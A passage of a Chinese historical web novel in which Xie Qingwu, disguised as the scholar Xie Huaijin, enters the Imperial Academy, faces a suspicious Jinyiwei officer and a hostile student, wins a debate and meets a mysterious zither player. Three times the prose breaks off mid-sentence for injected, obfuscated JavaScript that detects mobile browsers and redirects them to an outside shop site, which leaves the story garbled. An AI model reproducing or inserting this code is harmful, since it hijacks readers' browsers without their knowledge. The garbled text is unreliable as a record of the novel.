他们已经走到顾府所在的巷子。谢青梧停下脚步,转身面对陆执:“陆大人,那晚确实有人夜袭,但被顾公子的护卫打退了。我一个书生,躲在舱里,什么也没看见。” “什么也没看见?”陆执眼神锐利,“可我听说,谢公子那晚很镇定,还帮着出了主意。” 消息真灵通。谢青梧心里冷笑,面上却露出恰到好处的惊讶:“陆大人听谁说的?那晚乱得很,我吓得腿都软了,能出什么主意?” 两人对视,雪落在肩头,很快积了薄薄一层。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946681|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆执忽然笑了:“谢公子说得对,可能是我听错了。”他退后一步,“今晚打扰了。不过……” 他顿了顿:“京城不比江州,水深。谢公子往后行事,还是小心些好。” 说完,转身走了,很快消失在雪幕里。 慕容芷从暗处走出来,脸色发白:“公子,他……” “他起疑了。”谢青梧看着陆执消失的方向,“但没证据。” 回到听竹轩,谢青梧坐在灯下,许久没动。慕容芷端来热茶,她接过,手有些凉。 “阿芷,”她忽然问,“陆执这个人,你听说过吗?” 慕容芷握紧拳头:“听说过。北镇抚司最年轻的千户,他现在应该是千户了。三年前我父亲出事时,他还只是个小旗,但查案很厉害。” “为人如何?” “说不好。”慕容芷摇头,“锦衣卫里,没几个干净的。但他……据说很讲证据,不滥杀。” 谢青梧点点头。今晚陆执虽然逼问,但始终留有余地。他要是真怀疑什么,直接抓人审问就是,不会这么客气。 但这也说明,他盯上她了。 正想着,外头传来脚步声。顾临渊推门进来,一身寒气。 “你没事吧?”他急声道,“我刚回府就听说,陆执找过你?” 谢青梧示意他坐:“问了王崇年的事。” 顾临渊脸色难看:“这条疯狗,动作真快。”他握拳捶桌,“怪我,不该让你卷进来。” “现在说这些没用。”谢青梧道,“陆执只是怀疑,没证据。倒是你,家里出什么事了?” 顾临渊沉默片刻:“我父亲……在江南遇刺。” 谢青梧一惊:“伤得重吗?” “轻伤,但很凶险。”顾临渊声音发沉,“是王崇年的人干的。他知道我父亲在查他,狗急跳墙了。” “那你……” “我得去江南。”顾临渊看着她,“但我担心你。陆执既然盯上你,就不会轻易放手。我走后,你在京城……” “我能应付。”谢青梧打断他,“你父亲要紧。” 顾临渊看着她平静的脸,忽然不知道该说什么。这个少年,总是这样,好像天塌下来都能顶着。 “我已经托了朋友照应你。”他最终道,“赵文启虽然有些纨绔,但人不坏。你有事可以找他。还有……” 他从怀里掏出个玉佩:“这个你拿着。若真遇到麻烦,去城东永兴当铺,找掌柜看这个,他会帮你。” 谢青梧没接:“太贵重了。” “拿着。”顾临渊塞进她手里,“我当你是我朋友。” 朋友。谢青梧握紧玉佩,温润沁凉。 顾临渊连夜就走了。谢青梧站在院门口,看着马车消失在雪夜里,心里空落落的。 京城的第一夜,就这样过去了。 第二天,雪晴了。谢青梧让慕容芷出去找房子,要求在国子监附近,清净些的院子。她自己留在府里,翻看京城的地图和风物志。 午后,管家送来张帖子,是赵文启请她去喝茶,说是诗会未尽兴,要再聚聚。 谢青梧本想推辞,但想到顾临渊的托付,还是去了。 茶楼在国子监对面,叫“清风居”。谢青梧到的时候,赵文启已经在了,同桌的还有昨晚诗会上的几个人。 “谢公子来了!”赵文启热情招呼,“快坐快坐。昨晚你那首诗,我回去越想越觉得妙。今日特意请你来,再讨教讨教。” 这话说得漂亮。谢青梧入座,温声道:“赵公子客气了。” 茶过三巡,话匣子打开了。几个年轻学子聊起京中趣闻,谁家公子闹了笑话,哪个官员又纳了小妾。 正说着,楼下街上忽然传来喧哗声。几人探头看去,只见一队官差押着几个人过去,有男有女,都用铁链拴着。 “那是……”有人问。 赵文启看了一眼,淡淡道:“流民。今年北边闹灾,不少人逃到京城来。官府隔几天就抓一批,赶出城去。” 谢青梧看着那些人的背影。有老人,有孩子,有个妇人怀里还抱着婴儿。雪地里,他们赤着脚,脚上都是冻疮。 “赶出城,他们去哪儿?”她问。 “谁知道。”赵文启不在意,“反正不能在京城待着,有碍观瞻。” 有碍观瞻。谢青梧握着茶杯的手紧了紧。 这时,街对面国子监的大门开了,一群学子鱼贯而出。他们穿着统一的青衫,说说笑笑,意气风发。 流民的队伍正好从门前经过。那些学子停下脚步,有的指指点点,有的皱起眉头。一个老流民摔倒了,半天爬不起来,没人去扶。 谢青梧忽然站起身。 “谢公子?”赵文启讶然。 “我出去走走。”谢青梧放下茶杯,下了楼。 她走到街上,雪后的阳光刺眼。流民的队伍已经走远了,只在雪地上留下一串歪歪扭扭的脚印。 她站在那些脚印旁,看了很久。 “公子?”慕容芷不知何时找来了,“房子看好了,就在前头巷子里。一进院子,很清净。” 谢青梧点头:“带我去看看。” 新租的院子离国子监只隔两条街,确实清净。院里也有棵槐树,叶子掉光了,枝干上积着雪。 “就这儿吧。”谢青梧道,“明日搬过来。” 夜里,她独自在院里站了很久。京城很大,很繁华,但也很冷。这种冷,不是风雪带来的,是人心里的冰。 她想起陆执的话:“京城不比江州,水深。” 是啊,水很深。但她既然来了,就要在这深水里,走出自己的路。 16. 国子监 搬进新院子的第三天,谢青梧去了国子监。 国子监在城东,朱红大门,门前立着两块石碑,一块刻“文武百官到此下马”,一块刻“天下英才入此门中”。她站在门外看了会儿,整了整衣冠,递上陈学政写的荐书。 门房是个老吏,接过荐书扫了一眼,脸色立刻恭敬起来:“原来是陈大人的门生。请随我来。” 穿过仪门,眼前豁然开朗。庭院深深,古柏参天,正中是彝伦堂,两侧是六堂——率性、修道、诚心、正义、崇志、广业。正是上课时分,朗朗读书声从各堂飘出来,混着冬日的冷风,有种肃穆的味道。 老吏引她到东厢一间屋子,里面坐着个穿青袍的博士,正在批阅课业。 “徐博士,这位是江州来的谢怀瑾谢公子,陈学政荐来旁听的。” 徐博士抬起头,约莫五十来岁,面容清癯,目光锐利。他接过荐书看了,又打量谢青梧:“小三元?” “学生惭愧。”谢青梧躬身。 “坐吧。”徐博士指指对面的椅子,“陈大人在信里说,你文章写得不错,就是……太锐了些。” 谢青梧垂眸不语。 徐博士把荐书放下:“国子监的规矩,旁听生可以听课,可以借书,但不能参加课考,也不能领廪米。你既然来了,就好好听,少说话。” “学生明白。” “今日率性堂讲《尚书》,你去听听。”徐博士起身,“跟我来。” 率性堂是六堂之首,专收监生中的佼佼者。谢青梧跟着徐博士进去时,堂里已经坐了三四十个监生,个个正襟危坐。讲台上坐着个老先生,白发苍苍,正在讲解《洪范》篇。 徐博士让她在最后一排坐下,自己退了出去。 谢青梧打开随身带的纸笔,认真听讲。那老先生讲得深入浅出,从“洪范九畴”讲到治国之道,又从治国讲到修身。讲到“王道荡荡,无偏无党”时,忽然停下,看向台下。 “今日新来了位旁听生。”老先生声音洪亮,“谢怀瑾,江州府的小三元。老夫听说,你在院试写过一篇‘星火燎原’?” 满堂目光齐刷刷投过来。 谢青梧起身:“是。” “好。”老先生点头,“那老夫问你,若以《洪范》之理,你这‘星火’当如何燎原?又如何不烧成野火,反噬自身?” 这问题问得刁钻。谢青梧略一思索,答道:“回先生,《洪范》言‘皇极’,谓大中至正之道。学生以为,星火燎原,首在‘正’。火种要正,方向要正,所燃亦须是枯枝败叶,而非嘉禾良木。” 她顿了顿:“至于如何不反噬,学生以为,当如大禹治水,疏而不堵。火势太烈则分其焰,风向不对则转其向。但火种既燃,便不能灭。” 老先生盯着她看了片刻,忽然笑了:“坐吧。说得还行。” 一堂课下来,谢青梧记了满满三页笔记。散堂时,有几个监生围过来,好奇地问东问西。多是问江州风物、考试心得,态度还算友善。 但人群里也有几道不善的目光。一个穿锦袍的监生抱着手臂站在不远处,冷眼看着这边。旁边有人小声说:“那是刘瑾,国子监祭酒的外甥。” 谢青梧记下了这个名字。 中午在国子监的饭堂用饭。饭食简单,一荤一素,但管够。谢青梧端着食盘找了个角落坐下,刚吃两口,对面就坐了个人。 抬头一看,是早上那个刘瑾。 “谢公子,”刘瑾似笑非笑,“江州来的?” “是。” “江州好啊,山清水秀。”刘瑾夹了块肉,“不过咱们京城,规矩多。有些话,在外头说说是风骨,在国子监说……就是不懂事了。” 谢青梧放下筷子:“刘公子指教。” “不敢。”刘瑾身子前倾,压低声音,“你那套‘星火燎原’的把戏,在江州玩玩就算了。京城是什么地方?随便一块砖砸下来,都能砸着三品大员。你一个寒门学子,真以为能掀起什么风浪?” 话说得难听,但确是实情。谢青梧看着他:“刘公子说得对。所以学生来国子监,是来读书的。” “读书?”刘瑾嗤笑,“读书是为了什么?还不是为了做官。做官要什么?人脉、靠山、银子。你有哪样?” 谢青梧没接话。 刘瑾自觉占了上风,语气更轻蔑:“陈学政荐你又如何?他老人家清流一派,最是古板。你跟着他,得罪了旁人,将来有你的苦头吃。” “多谢刘公子提醒。”谢青梧端起食盘,“学生吃完了,先走一步。” 她起身离开,身后传来刘瑾的冷哼。 走出饭堂,冬日午后的阳光稀薄。谢青梧在院子里站了会儿,深吸口气,把那股憋闷压下去。 京城第一课:这里的人,说话都喜欢绕弯子。刘瑾那些话,表面是敲打,其实是试探——试探她的背景,试探她的底气。 她转身去了藏书楼。 国子监藏书楼有三层,经史子集分门别类,卷帙浩繁。谢青梧办了借阅牌,在书架间慢慢走。走到史部时,她停住了。 那一排书架上,有几本装帧特别的书,《前朝女官录》《闺阁诗话》《女子德容功言集》。她抽出一本《前朝女官录》,翻开,里面记载着前朝几位女官的传记,虽然篇幅不长,但确确实实存在过。 正看着,身后传来脚步声。一个穿着监生服、但年纪明显小些的少年走过来,看见她手里的书,愣了一下。 “你也看这个?”少年问。 谢青梧合上书:“随便翻翻。你是……” “我叫沈知微。”少年有些腼腆,“在崇志堂读书。这书……很少人看的。” 谢青梧打量他。这少年约莫十四五岁,眉眼清秀,说话细声细气。监生服穿在他身上有些宽大,更显瘦弱。 “为什么很少人看?”她问。 沈知微抿抿唇:“先生说,这些书……不合时宜。” 不合时宜。谢青梧笑了,把书放回书架:“那你还看?” “我……”沈知微脸红了,“我觉得有意思。前朝居然有女子做官,虽然只是些文书小吏,但总归是……” 他没说完,但谢青梧懂了。 两人并肩走出藏书楼。沈知微很健谈,说起国子监的趣事,哪个博士讲课爱打瞌睡,哪个监生晚上翻墙出去喝酒被抓。说到最后,他压低声音:“谢兄,你要小心刘瑾。” “我知道。” “他那人,心眼小。”沈知微道,“你今天在堂上答得漂亮,他肯定记恨了。他舅舅是祭酒,他想整人,办法多得很。” 谢青梧点头:“多谢提醒。” “不过你也别太担心。”沈知微笑了,“国子监里,看不惯他的人也多。有事你说话,我们帮你。” 这个“我们”说得自然。谢青梧心里一暖。 下午没有课,她在藏书楼待到闭楼时分。抱着一摞借来的书走出国子监时,天色已暗。街灯次第亮起,把雪地照得一片昏黄。 慕容芷在门外等她,接过书:“公子,有人送帖子来。” 谢青梧接过一看,是赵文启,邀她明日晚上去听曲,说是有位新来的琴师,技艺绝佳。 她本要推辞,但想到顾临渊的托付,还是应了。在京城,人脉就像蜘蛛网,得一点点织。 回到住处,简单用过晚饭,她便开始整理今日笔记。国子监博士讲的《尚书》,和她以往读的理解有所不同,更重经世致用。她边整理边思考,不知不觉夜深了。 慕容芷端来宵夜时,欲言又止。 “怎么了?”谢青梧问。 “公子,”慕容芷低声道,“我今天在国子监外头……好像看到锦衣卫的人了。” 谢青梧笔一顿:“确定?” “不太确定,但那人走路的样子、看人的眼神,很像。”慕容芷道,“他在对面茶楼坐了整整一下午,一直看着国子监大门。” 陆执还没放弃。 谢青梧放下笔,走到窗边。夜色沉沉,远处传来打更声。京城就像一张巨大的棋盘,每个人都是棋子,而执棋的人,她还没见到。 “我知道了。”她转身,“明天你继续留意。但别打草惊蛇。” 第二日去国子监,果然又见到那个可疑的人。坐在同一间茶楼,同一个位置,穿着寻常布衣,但腰杆笔直,目光如鹰。 谢青梧只当没看见,径直进了门。 今日讲《春秋》,博士是个严肃的中年人,一开口就镇住了全场。讲到“郑伯克段于鄢”时,他忽然点名:“谢怀瑾,你来说说,此事何以载入《春秋》?” 谢青梧起身:“回先生,此事虽为兄弟相争,实则关乎礼法。郑伯身为兄长,不教而诛,有失兄道;共叔段身为臣弟,僭越谋逆,有违臣节。孔子书此,是为警后世:君臣父子,各有其分,不可乱。” 博士点头:“那以你之见,若郑伯早加管教,可能免此祸?” “不能。”谢青梧答得干脆,“共叔段之野心,非一日之寒。郑伯纵容在先,欲除之在后,看似矛盾,实则是权力权衡的结果。此事根本,不在管教,而在制度,若郑国早有定法,明确封君权限,或许能免。” 这话说得大胆。博士挑眉:“你是说,礼法不足以约束人心?” “礼法足以约束君子。”谢青梧道,“但世上不全然是君子。故需有法度,明赏罚,使人知可为与不可为。” 堂上一片寂静。这话几乎是在质疑“礼治”了。 博士盯着她看了许久,最后挥挥手:“坐吧。下课后,来我书房一趟。” 下课后,谢青梧跟着博士去了后院书房。博士姓严,是国子监里出了名的严苛。他关上门,第一句话就是:“你可知,你刚才那番话,传出去会惹麻烦?” “学生知道。” “知道还说?”严博士坐下,倒了杯茶,“谢怀瑾,我看了你的文章,确实有才。但有才的人多了,能活到施展才华那一天的,不多。” 他顿了顿:“陈大人荐你来,是惜才。但你要明白,有些话,现在不能说。” “什么时候能说?”谢青梧问。 严博士一愣。 “若人人都等‘以后’再说,”谢青梧声音平静,“那‘以后’永远不会来。” 书房里安静下来。炉火噼啪,茶烟袅袅。 良久,严博士叹了口气:“你很像一个人。” “谁?” “沈墨沈山长。”严博士眼神悠远,“他当年也是这般,认准的事,九头牛拉不回。结果如何?官至礼部尚书,却因直言进谏,被贬出京。晚年主持书院,算是善终,但抱负……终究未全展。” 他看向谢青梧:“我不是劝你同流合污。只是告诉你,路要一步一步走。你想说的那些话,等你有资格站在金殿上说时,再说。” 这话诚恳。谢青梧躬身:“学生受教。” 从书房出来,天色已晚。谢青梧收拾东西准备离开,却在仪门处被刘瑾拦住了。 “谢公子,”刘瑾皮笑肉不笑,“今日在堂上,真是出尽风头啊。” “刘公子过誉。”谢青梧想绕过去。 刘瑾侧身挡住:“急什么?我听说,你晚上要去春风阁听曲?巧了,我也去。不如一道?” 春风阁就是赵文启说的听曲地方。谢青梧看着他:“刘公子也收到帖子了?” “赵文启那小子,见谁请谁。”刘瑾嗤道,“不过既然碰上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946682|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起走吧。我也好给你引见引见几位贵人。” 话说到这份上,再推辞就是不给脸了。谢青梧点头:“那有劳刘公子。” 两人并肩出了国子监。那个锦衣卫还在茶楼,见他们出来,目光跟了一路。 春风阁在城南,是京城有名的乐坊。三层楼阁,飞檐翘角,夜里挂满灯笼,远远望去像座仙宫。 赵文启包了二楼一个雅间,已经来了七八个人,都是那日诗会上的面孔。见刘瑾和谢青梧一同进来,众人都愣了愣。 “刘兄也来了?”赵文启起身迎客,“稀客稀客。” “赵兄相邀,岂敢不来。”刘瑾大大咧咧坐下,拍了拍身边的位置,“谢公子,坐这儿。” 谢青梧依言坐下。桌上摆着茶水果点,正中空着,是为琴师留的位置。 不多时,帘子一挑,琴师进来了。 是个女子。 约莫十七八岁,一身素白襦裙,外罩浅青披帛,头发松松绾着,只簪了支白玉簪。她抱着琴,低眉敛目,向众人微微一福,便在琴案后坐下。 “这位是云知意云姑娘。”赵文启介绍,“新来的琴师,一手琴艺,堪称绝妙。” 云知意抬头,目光在席间扫过。看到谢青梧时,她眼神微不可察地顿了一下。 谢青梧也看着她。这女子很美,但美得没有烟火气,像月光下的雪,清冷疏离。尤其那双眼睛,沉静得不像个乐坊琴师。 琴声起。 是一曲《高山流水》。云知意指法娴熟,琴音淙淙,时而如高山巍巍,时而如流水潺潺。满座静听,无人出声。 谢青梧听着琴,目光却落在云知意的手上。那双手白皙修长,但指腹有薄茧,是常年练琴留下的。可茧子的位置……似乎有些特别。 琴曲终了,余音绕梁。众人纷纷称赞。赵文启笑道:“云姑娘琴艺果然了得。不知可否再奏一曲?” 云知意垂眸:“不知诸位想听什么?” 刘瑾忽然开口:“听说云姑娘是江南人?来京城可还习惯?” 这话问得突兀。云知意抬眼看他,眼神平静:“尚可。” “江南好啊。”刘瑾晃着酒杯,“我有个表叔在扬州做官,说江南女子,个个水灵。不过像云姑娘这般才貌双全的,倒也少见。” 这话带着轻浮。云知意神色不变:“刘公子过奖。” “不过奖不过奖。”刘瑾笑道,“只是我好奇,云姑娘这般人才,怎么沦落到乐坊弹琴?” 这话说得难听了。赵文启脸色微变:“刘兄……” 云知意却笑了。她笑起来更美,但眼里没有温度:“刘公子说笑了。弹琴是谋生,也是修身。比起某些依附家门、无所事事之辈,我倒觉得自食其力,不算沦落。” 刘瑾脸色一僵。 席间气氛微妙。谢青梧看着云知意,忽然觉得这女子不简单。 云知意似乎察觉到她的目光,转头看过来:“这位公子面生,不知如何称呼?” “谢怀瑾。”谢青梧拱手。 “谢公子。”云知意颔首,“方才听琴,公子似乎有所思。不知奴家琴艺有何不足?” “云姑娘琴艺精湛。”谢青梧道,“只是《高山流水》此曲,讲的是知音难觅。姑娘琴音里,高山巍巍有余,流水潺潺不足,可是觉得,知音未遇?” 云知意眼神微动。 良久,她轻声道:“谢公子懂琴。” 她重新抚琴,这次弹的是《梅花三弄》。琴音清越,带着孤傲,像雪中寒梅,独自开放。 谢青梧静静听着。这曲子里,有不甘,有孤高,还有一种……等待。 琴声再终时,夜已深了。众人纷纷告辞。谢青梧起身,云知意忽然开口:“谢公子留步。” 她走过来,递过一张素笺:“公子若得闲,可来听琴。奴家每旬三、六在此。” 谢青梧接过素笺,上面只有一行小字:春风阁,云知意。 “多谢。”她收起素笺。 走出春风阁,冷风一吹,酒意散了大半。刘瑾跟上来,阴阳怪气道:“谢公子好手段,才见一面,就得美人青睐。” 谢青梧没理他,径直往前走。 刘瑾在身后冷笑:“不过谢公子,我劝你一句,离那云知意远点。那女人……不简单。” 谢青梧停步回头:“刘公子知道什么?” “我知道的可多了。”刘瑾凑近,压低声音,“她是三个月前突然出现在京城的,一来就进了春风阁,琴艺好,模样好,但来历不明。有人查过,查不到底细。你说,一个查不到底细的女子,能在京城站稳脚跟,背后能没点东西?” 这话倒有几分道理。谢青梧看着他:“刘公子为何告诉我这些?” “因为我看你还算顺眼。”刘瑾难得正经,“谢怀瑾,你是有真才实学的,比那些纨绔强。我不想看你栽在女人手里。” 他说完,摆摆手走了,背影在夜色里有些摇晃。 谢青梧站在街边,看着手里的素笺。云知意……她究竟是谁? 慕容芷不知从哪儿冒出来,低声道:“公子,有人盯梢。” “几个?” “两个。一个在对面酒楼,一个在街角。”慕容芷道,“看身形,不是白天那个锦衣卫。” 谢青梧把素笺收进袖中:“走吧。回家。” 主仆二人沿着长街往回走。雪又下了起来,细细碎碎,落在肩头,很快化了。 谢青梧回头看了一眼春风阁。三楼某个窗子里,有个人影立在窗前,正看着这个方向。 是云知意。 两人隔空对视一瞬,窗子关上了。 谢青梧转回头,心里那个疑团,越来越大。 17. 文会 秋闱的日子一天天近了。 国子监里气氛明显紧张起来。监生们走路都带着风,藏书楼里经常满座,夜里各斋舍的灯火总要亮到三更。 谢青梧也进入了全力备考的状态。她每天天不亮就起床,先练半个时辰字,然后去国子监听早课。午后在藏书楼温书,傍晚回住处整理笔记,夜里再写几篇策论练手。 这样过了半个月,她发现自己被孤立了。 不是明面上的排挤,见面还打招呼,吃饭还能同桌,而是一种无形的隔阂。讨论功课时不叫她,借阅孤本时轮不到她,连监生们私下组织的文会,她也收不到帖子。 沈知微偷偷告诉她:“是刘瑾捣的鬼。他说你……文章太偏,跟你走太近会影响前程。” 谢青梧听了只是笑笑。前程?她现在连能不能参加秋闱都是问题。 按例,外地学子要在京城参加乡试,需有本地廪生作保。陈学政虽然荐她进国子监听讲,但作保的事,还得她自己想办法。 她找了赵文启。赵文启支支吾吾:“这个……怀瑾啊,不是我不帮你。只是作保这事,责任太大。万一你……” “我明白。”谢青梧没再为难他。 她又找了几位有过一面之缘的学子,得到的答复大同小异。有人干脆明说:“谢公子,你那篇‘星火燎原’传得太广,给你作保,我怕惹麻烦。” 这就是现实。文章写得好是一回事,能不能考是另一回事。 眼看离报名截止只剩三天,谢青梧坐在院里,看着满地黄叶出神。 慕容芷端茶过来,低声说:“公子,要不……我晚上去‘请’一位廪生来?” 她说得隐晦,但意思明白。谢青梧摇头:“不行。强扭的瓜不甜,就算逼他写了保书,心里不情愿,将来也是隐患。” “那怎么办?” 谢青梧没说话。她想起顾临渊给的那块玉佩,去永兴当铺,找掌柜。 但她不想用。人情债最难还,尤其是顾临渊的人情。 正想着,院门被敲响了。 开门一看,竟是严博士。 严博士披着件旧棉袍,手里提着个食盒,像个寻常老头。他进门打量院子,点点头:“收拾得挺干净。” “先生怎么来了?”谢青梧忙请他进屋。 “路过。”严博士把食盒放下,里头是几样点心和一壶酒,“天冷了,喝点酒暖暖身子。” 两人在屋里坐下。慕容芷温了酒,退出去守在门外。 严博士抿了口酒,忽然道:“保人的事,还没着落吧?” 谢青梧一怔。 “不用惊讶,国子监里没秘密。”严博士放下酒杯,“刘瑾那小子放的话,我都听说了。说你有才无德,文章偏激,谁给你作保谁倒霉。” “学生……” “你不用解释。”严博士摆手,“我教了三十年书,什么学生没见过?有才的,无才的,圆滑的,耿直的。你这样的……不多见。” 他顿了顿:“知道沈墨沈山长当年怎么教我的吗?他说,读书人要记住两件事:一是明理,二是敢为。明理不难,难在敢为。因为敢为,往往要付出代价。” 谢青梧静静听着。 “你现在遇到的,就是代价。”严博士看着她,“你那篇文章,写得很好。但好文章不一定要说出来,说出来就要准备好挨骂、被孤立、甚至失去机会。” “先生觉得,学生做错了吗?” “错?”严博士笑了,“对错是小孩才分的东西。我只问你,如果重来一次,你还会写那篇文章吗?” “会。” “那就不算错。”严博士从怀里掏出一张纸,推过来,“这是我的廪生凭证。我给你作保。” 谢青梧愣住了。 严博士是国子监博士,有廪生资格,作保当然没问题。但问题是,他为什么要冒这个险? “先生,这……” “别多想。”严博士又喝了口酒,“我不是可怜你,也不是欣赏你。我只是觉得,如果连秋闱都进不去,你这把‘星火’也太容易灭了。我想看看,你能烧成什么样。” 他说得随意,但谢青梧听出了里面的分量。 她起身,郑重一礼:“学生谢过先生。” “别急着谢。”严博士道,“我作保有个条件,秋闱你必中。要是落榜,丢的是我的脸。” “学生尽力。” “不是尽力,是必中。”严博士站起身,“好了,我走了。保书明天给你送来。” 他走到门口,又回头:“对了,国子监后天有场‘文会’,说是切磋学问,实则是秋闱前的摸底。刘瑾攒的局,请了不少人。你也去。” “学生怕不受欢迎。” “就是要你不受欢迎才去。”严博士笑了,“让他们看看,什么叫真才实学。” 送走严博士,谢青梧在灯下坐了很久。那张廪生凭证就放在桌上,纸已经发黄,但印章鲜红。 慕容芷进来收拾,看见她的神色,轻声问:“公子,这位严博士……可信吗?” “不知道。”谢青梧实话实说,“但眼下,我没有别的选择。” 而且严博士说得对,如果连秋闱都进不去,还谈什么燎原? 文会设在国子监的明伦堂。谢青梧到的时候,堂里已经坐了三四十人,除了监生,还有几位京中有名的才子。刘瑾坐在主位,正与人谈笑风生。 见她进来,堂里静了一瞬。 刘瑾挑眉:“哟,谢公子也来了?稀客。” “刘公子相邀,岂敢不来。”谢青梧找了个角落坐下。 文会的规矩是“切磋”,其实就是辩论。一人出题,众人驳难,最后评出胜者。出题权在刘瑾手里。 他扫视全场,慢悠悠开口:“今日既为秋闱预热,咱们就论一论科举之本,何谓‘取士之道’?” 题目出得大。众人纷纷发言,有的说“取士以德”,有的说“取士以才”,有的引经据典,有的结合实际。 轮到谢青梧时,堂上已经争得面红耳赤。 她起身,先向众人一礼,然后开口:“方才诸位所言,学生都听了。德才之辩,古已有之。但学生想问,何为德?何为才?” 刘瑾嗤笑:“这还用问?德是品行,才是学识。” “那敢问刘公子,”谢青梧看向他,“一个寒窗苦读、孝顺父母、友爱兄弟的寒门学子,与一个倚仗家世、欺凌弱小、却精通诗赋的纨绔子弟,孰德孰才?” 这话问得刁钻。刘瑾脸色一沉:“你这是诡辩!” “非也。”谢青梧道,“学生只是想问,德才之论,是否也该有个标准?若标准模糊,那‘取士以德’便可能沦为‘取士以名’,‘取士以才’便可能沦为‘取士以势’。” 她顿了顿:“故学生以为,取士之道,首在‘公’字。何为公?一曰机会公,寒门世家,同场竞技;二曰标准公,德有德行可考,才有才学可测;三曰结果公,取中与否,只看文章,不问出身。” 堂上一片寂静。 这话说得太直白了。几乎是在指责现在的科举不公。 一个穿绸衫的公子冷笑:“谢公子说得轻巧。寒门世家,资源不同,如何同场竞技?世家子弟有名师教导,寒门学子靠自学苦读,这公平吗?” “是不公平。”谢青梧点头,“所以朝廷该做的,不是维持这种不公平,而是尽力消除它。比如在州县广设官学,比如刻印经义廉价发售,比如给寒门学子提供赶考路费,这些,都是可以做的事。” “那银子从哪儿来?”又有人问。 “从该来的地方来。”谢青梧道,“朝廷每年拨给各地官学的银子,有多少真正用在学子身上?各地贡院修缮,有多少是实报实销?若能从这些地方省出一些,便足够做很多事。” 这话涉及官场弊病,没人敢接茬了。 刘瑾脸色难看,忽然道:“谢公子高论。不过纸上谈兵容易,真要做起来难。不如咱们来点实际的,我这儿有道算学题,谢公子解解?” 他从袖中掏出一张纸,让书童传给谢青梧。 题目是:“今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问物几何?” 这是道著名的“孙子算经”题,在场不少人都知道答案。刘瑾出这题,显然是想刁难,若谢青梧答不上,便证明她只会空谈;若答上了,也无非是拾人牙慧。 谢青梧看完题,笑了。 她提笔在纸上写了个数字,递回去。 刘瑾一看,愣了,纸上写的不是答案,而是一个算式。 “这是什么?”他皱眉。 “解法。”谢青梧道,“此乃‘大衍求一术’,可解一切此类问题。三三数之余数乘七十,五五数之余数乘二十一,七七数之余数乘十五,相加后减去一百零五的倍数,即为所求。” 她走到堂前,拿起粉笔在竖起的木板上写起来:“这背后的道理,是同余运算。若推广开来,可用于历法推算、军粮调配、乃至钱粮核算。算学不是猜谜,是工具。取士若只考猜谜之能,不考工具之用,岂非本末倒置?” 她讲得深入浅出,从孙子算经讲到《九章算术》,又从算学讲到实际应用。堂上原本想看热闹的人,都听入了神。 刘瑾的脸色越来越难看。 等谢青梧讲完,一个一直没说话的老监生忽然起身,向她一揖:“听君一席话,胜读十年书。老夫在国子监三十年,头回听人把算学讲得如此透彻。” 这老监生姓徐,是国子监里资历最老的博士之一,平时不苟言笑,极少夸人。 他这一开口,风向顿时变了。不少人看向谢青梧的眼神,从审视变成了敬佩。 刘瑾咬牙,还想说什么,徐博士却先开了口:“今日文会,到此为止吧。谢公子方才所言,诸位回去好好想想。秋闱在即,莫在这些虚名上浪费时间。” 文会散了。 谢青梧走出明伦堂时,沈知微追上来,眼睛发亮:“谢兄,你刚才太厉害了!那套算法,能教教我吗?” “当然。”谢青梧笑道,“不过得等秋闱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946683|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。” “一言为定!”沈知微高兴地走了。 谢青梧正要离开,徐博士从后面叫住她:“谢公子留步。” 她转身行礼:“徐先生。” 徐博士打量她,眼神复杂:“你那套‘大衍求一术’,从哪儿学的?” “自己琢磨的。”谢青梧道,“学生在家时,常帮邻里算账,渐渐悟出些门道。” 这话半真半假。算法确实是古人所创,但她前世学过数论,理解起来自然比旁人深。 徐博士盯着她看了会儿,忽然道:“秋闱之后,若你得空,来我住处一趟。我有些书,或许对你有用。” 这是橄榄枝。谢青梧郑重应下:“学生一定来。” 走出国子监时,天色尚早。谢青梧没急着回住处,拐去了春风阁。 她记得云知意给的素笺上说,每旬三、六在。今日正是初六。 春风阁白天很安静,只有几个小厮在打扫。谢青梧说明来意,被引到三楼一间雅室。 云知意正在煮茶。见是她,微微一笑:“谢公子来了。请坐。” 雅室不大,但布置雅致。墙上挂着一幅雪梅图,题着“疏影横斜水清浅,暗香浮动月黄昏”。案上香炉里燃着檀香,烟气袅袅。 “云姑娘好雅兴。”谢青梧在对面坐下。 云知意递过一杯茶:“粗茶而已。谢公子今日怎么有空来?” “来谢姑娘。”谢青梧接过茶,“那日听琴,受益良多。” 